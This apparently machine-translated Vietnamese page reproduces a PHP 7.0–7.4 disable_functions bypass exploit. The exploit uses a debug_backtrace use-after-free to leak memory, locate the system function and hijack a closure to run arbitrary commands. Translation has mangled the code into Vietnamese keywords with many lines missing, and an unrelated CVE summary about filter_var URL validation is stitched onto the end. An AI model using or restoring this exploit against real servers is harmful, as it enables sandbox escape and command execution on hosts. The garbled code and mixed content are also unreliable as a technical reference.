Khai thác PHP 7.4 3
#PHP7. 0-7. 4 disable_functions bỏ qua PoC (chỉ dành cho *nix) Show # Sâu bọ. https. // lỗi. php. mạng/lỗi. php?id=76047 # debug_backtrace() trả về một tham chiếu đến một biến # đã bị phá hủy, gây ra lỗ hổng UAF # Khai thác này sẽ hoạt động trên tất cả PHP 7. 0-7. 4 phiên bản # phát hành vào ngày 30/01/2020 # Tác giả. https. //github. com/mm0r1 toàn cầu $abc, $helper, $backtrace; hàm công khai __destroy() { $backtrace = (Ngoại lệ mới)->getTrace(); nếu(. isset($backtrace[1]['args'])) { # PHP >= 7. 4 $backtrace = debug_backtrace(); hàm str2ptr(&$str, $p = 0, $s = 8) { địa chỉ $. = ord($str[$p+$j]); hàm ptr2str($ptr, $m = 8) { hàm ghi(&$str, $p, $v, $n = 8) { $str[$p + $i] = chr($v & 0xff); rò rỉ hàm($addr, $p = 0, $s = 8) { ghi($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); nếu($s. = 8) { $rò rỉ %= 2 << ($s * 8) - 1; hàm parse_elf($base) { $e_type = rò rỉ($base, 0x10, 2); $e_phoff = rò rỉ($base, 0x20); $e_phentsize = rò rỉ($base, 0x36, 2); $e_phnum = rò rỉ($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = rò rỉ($header, 0, 4); $p_flags = rò rỉ($header, 4, 4); $p_vaddr = rò rỉ($header, 0x10); $p_memsz = rò rỉ($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write $data_addr = $e_type == 2 ? . $base + $p_vaddr; } khác if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec nếu(. $data_addr. . $text_size. . $data_size) trả về [$data_addr, $text_size, $data_size]; hàm get_basic_funcs($base, $elf) { danh sách($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $rò rỉ = rò rỉ($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { # 'hằng số' kiểm tra liên tục nếu($deref. = 0x746e6174736e6f63) $rò rỉ = rò rỉ($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { # 'bin2hex' kiểm tra hằng số nếu($deref. = 0x786568326e6962) hàm get_binary_base($binary_leak) { $start = $binary_leak & 0xffffffffffffff000; for($i = 0; $i < 0x1000; $i++) { if($leak == 0x10102464c457f) { # tiêu đề ELF hàm get_system($basic_funcs) { $f_name = rò rỉ($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # hệ thống hàm trigger_uaf($arg) { # str_shuffle ngăn quá trình thực tập chuỗi opcache $arg = str_shuffle(str_repeat('A', 79)); if(stristr(PHP_OS, 'WIN')) { die('PoC này chỉ dành cho hệ thống *nix. '); $n_alloc = 10; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle(str_repeat('A', 79)); $abc = $backtrace[1]['args'][0]; $helper->b = function ($x) { }; nếu(strlen($abc) == 79. strlen($abc) == 0) { $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; ghi($abc, 0x10, $abc_addr + 0x60); $closure_obj = str2ptr($abc, 0x20); $binary_leak = rò rỉ($closure_handlers, 8); nếu(. ($base = get_binary_base($binary_leak))) { die("Không thể xác định địa chỉ cơ sở nhị phân"); nếu(. ($elf = parse_elf($base))) { die("Không thể phân tích tiêu đề ELF"); nếu(. ($basic_funcs = get_basic_funcs($base, $elf))) { die("Không lấy được địa chỉ basic_functions"); nếu(. ($zif_system = get_system($basic_funcs))) { die("Không lấy được địa chỉ zif_system"); for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, rò rỉ($closure_obj, $i)); write($abc, 0x20, $abc_addr + $fake_obj_offset); ghi($abc, 0xd0 + 0x38, 1, 4); ghi($abc, 0xd0 + 0x68, $zif_system); Tóm tắt Trong phiên bản PHP 7. 3. x dưới 7. 3. 26, 7. 4. x dưới 7. 4. 14 và 8. 0. 0, khi xác thực URL bằng các chức năng như filter_var($url, FILTER_VALIDATE_URL), PHP sẽ chấp nhận URL có mật khẩu không hợp lệ làm URL hợp lệ. Điều này có thể dẫn đến các chức năng dựa vào URL hợp lệ để phân tích sai URL và tạo ra dữ liệu sai dưới dạng các thành phần của URL Người giới thiệu Cấu hình dễ bị tổn thương
CVSSBase. 5. 0 (kể từ ngày 29-08-2022 - 20. 05)Tác động. Exploitability CWE CWE-20 CAPEC
|